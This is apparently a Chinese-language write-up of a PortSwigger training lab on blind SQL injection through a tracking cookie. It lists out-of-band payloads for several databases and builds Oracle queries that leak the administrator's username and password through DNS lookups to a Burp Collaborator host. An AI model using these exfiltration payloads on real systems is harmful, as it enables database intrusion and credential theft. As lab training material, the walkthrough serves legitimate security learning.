从业者-盲注-带外数据泄露
# 实验室:带外数据泄露的 SQL 盲注入
# 题目
此实验室包含一个SQL盲注 (opens new window)漏洞。应用程序使用跟踪 Cookie 进行分析,并执行包含所提交 Cookie 值的 SQL 查询。
SQL 查询以异步方式执行,对应用程序的响应没有影响。但是,您可以触发与外部域的带外交互。
该数据库包含一个名为users
的不同表,其中的列名为username
和password
。您需要利用SQL盲注入 (opens new window)漏洞来查找Administrator
用户的密码。
要解决实验室问题,请以Administrator
用户身份登录。
Learning path
如果你正在遵循我们建议的学习路径 (opens new window),请注意,本实验要求你对我们尚未涉及的主题有一定的了解。如果你遇到困难,请不要担心;等你的知识有了进一步的发展以后再来吧。
笔记
为了防止学院平台被用来攻击第三方,我们的防火墙阻止了实验室和任意外部系统之间的交互。要解决实验室问题,必须使用Burp Collaborator的默认公共服务器。
提示
您可以在我们的SQL注入备忘单 (opens new window)上找到一些有用的有效负载。
- name: 实验室-从业者
desc: 带外数据泄露的 SQL 盲注入 >>
avatar: https://fastly.statically.io/gh/clincat/blog-imgs@main/vuepress/static/imgs/docs/burpsuite-learn/public/lab-logo.png
link: https://portswigger.net/web-security/sql-injection/blind/lab-out-of-band-data-exfiltration
bgColor: '#001350'
textColor: '#4cc1ff'
2
3
4
5
6
注意!Burp Collaborator
功能需要 Burp Suite 专业版,请提前准备相关软件。
# 实验室
根据题意,可得实验目标:
- 在 Cookie 中存在 SQL 注入漏洞,利用 SQL 盲注技术,构造带有带外数据泄露的 SQL 注入查询语句;
- 利用该技术,从 users 表中查询 username 和 password 字段;
- 以 Administrator 用户的身份进行登录。
点击 “Access the lab” 进入实验室。

查询SQL注入备忘单 (opens new window),找到带外交互的攻击载荷:
# Oracle - 1(通过 Oracle 未修复的 XXE 漏洞来触发)
SELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://BURP-COLLABORATOR-SUBDOMAIN/"> %remote;]>'),'/l') FROM dual
# Oracle - 2(对于修复了 XXE 漏洞的 Oracle,可以使用以下语句,但是需要一定权限)
SELECT UTL_INADDR.get_host_address('BURP-COLLABORATOR-SUBDOMAIN')
# Microsoft
exec master..xp_dirtree '//BURP-COLLABORATOR-SUBDOMAIN/a'
# PostgreSQL
copy (SELECT '') to program 'nslookup BURP-COLLABORATOR-SUBDOMAIN'
# MySQL - 1
LOAD_FILE('\\\\BURP-COLLABORATOR-SUBDOMAIN\\a')
# MySQL - 2
SELECT ... INTO OUTFILE '\\\\BURP-COLLABORATOR-SUBDOMAIN\a'
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
# 带外交互 攻击
启动 BurpSuite,开启Collaborator
功能,并生成对应子域。

将生成的 6 个子域 与 攻击载荷 进行结合:
' UNION SELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://zcfj0j9oyi9a86uiql1bqz6lbch35tti.oastify.com/"> %remote;]>'),'/l') FROM dual-- qwe
' UNION SELECT UTL_INADDR.get_host_address('nc37079cy69y8uu6q91zqn69b0hr5it7.oastify.com') FROM dual-- qwe
' UNION exec master..xp_dirtree '//rmhbabjg8aj2iy4a0db30rgdl4rvfn3c.oastify.com/a'-- qwe
' UNION copy (SELECT '') to program 'nslookup 8ajsys7xwr7j6fsrouzko84u9lfc35ru.oastify.com'-- qwe
' UNION SELECT LOAD_FILE('\\\\dzgxnxw2lwwovkhwdzopddtzyq4hsbg0.oastify.com\\a')-- qwe
' UNION SELECT 1 INTO OUTFILE '\\\\6ipq6qfv4pfhed0pws7iw6cshjnab5zu.oastify.com\a'-- qwe
2
3
4
5
6
利用 BurpSuite 抓取网站首页的 HTTP 数据包,使用intruder
模块对数据包进行配置:
- 在 Cookie 的 TrackingId 参数中添加选区。
添加载荷,点击“Start Attack”开始攻击。

# 确认带外交互是否成功
查看Collaborator
功能模块,可以看到 DNS 查询记录,说明 SQL 注入带外攻击成功。

查看攻击历史记录,发现攻击载荷Oracle-2触发了带外交互:

# 带外数据泄露 攻击
在SQL注入备忘单 (opens new window)中,找到适用于 Oracle 数据库的攻击载荷。
关键载荷如下:
- 查询结果 + 子域
||
是 Oracle 的字符串连接符
(你的查询) || '.子域'

将 Oracle-2 载荷 与 带外数据泄露的载荷 相结合:
' UNION SELECT UTL_INADDR.get_host_address('abc123'||'.bbqvzv80xu8m7itupx0npb5xaogf4fs4.oastify.com') FROM dual-- qwe

查看Collaborator
功能模块,在条目中只能看到第一个子域,看不到abc123
,有没有办法查询详细信息呢?
- 如图,详细信息 隐藏的有点深,我差点没找到。

查看条目详细信息,成功地将字符abc123
通过 DNS 查询给带出来了。

根据题目提示,我们通过子查询,将 administrator 用户的相关信息 给带出来:
# 查询用户名
UNION SELECT UTL_INADDR.get_host_address((SELECT username FROM users WHERE username='administrator')||'.bbqvzv80xu8m7itupx0npb5xaogf4fs4.oastity.com') FROM dual-- qwe
# 查询密码
UNION SELECT UTL_INADDR.get_host_address((SELECT password FROM users WHERE username='administrator')||'.bbqvzv80xu8m7itupx0npb5xaogf4fs4.oastity.com') FROM dual-- qwe
2
3
4
5


查看Collaborator
历史记录,成功获得信息:
- 用户名:
administrator
- 密码:
2cyydjprx3u8t9z1ttc9


# 复习 - 在单个列中检索多个值
如题,还记得怎么做吗?
- 通过字符串连接符,将需要查询的两个字段名 连接起来,
- 中间使用一个合法符号进行分隔。
# 拼接两个字段名
username || '-' || password
# 最终的查询语句
UNION SELECT UTL_INADDR.get_host_address((SELECT username||'-'||password FROM users WHERE username='administrator')||'.bbqvzv80xu8m7itupx0npb5xaogf4fs4.oastity.com') FROM dual-- qwe
2
3
4
5

查看 DNS 历史记录,查询成功:administrator-2cyydjprx3u8t9z1ttc9
- 符号
-
左边的是用户名,右边的是密码。

使用获得的 账号和密码 进行登录,实验完成。

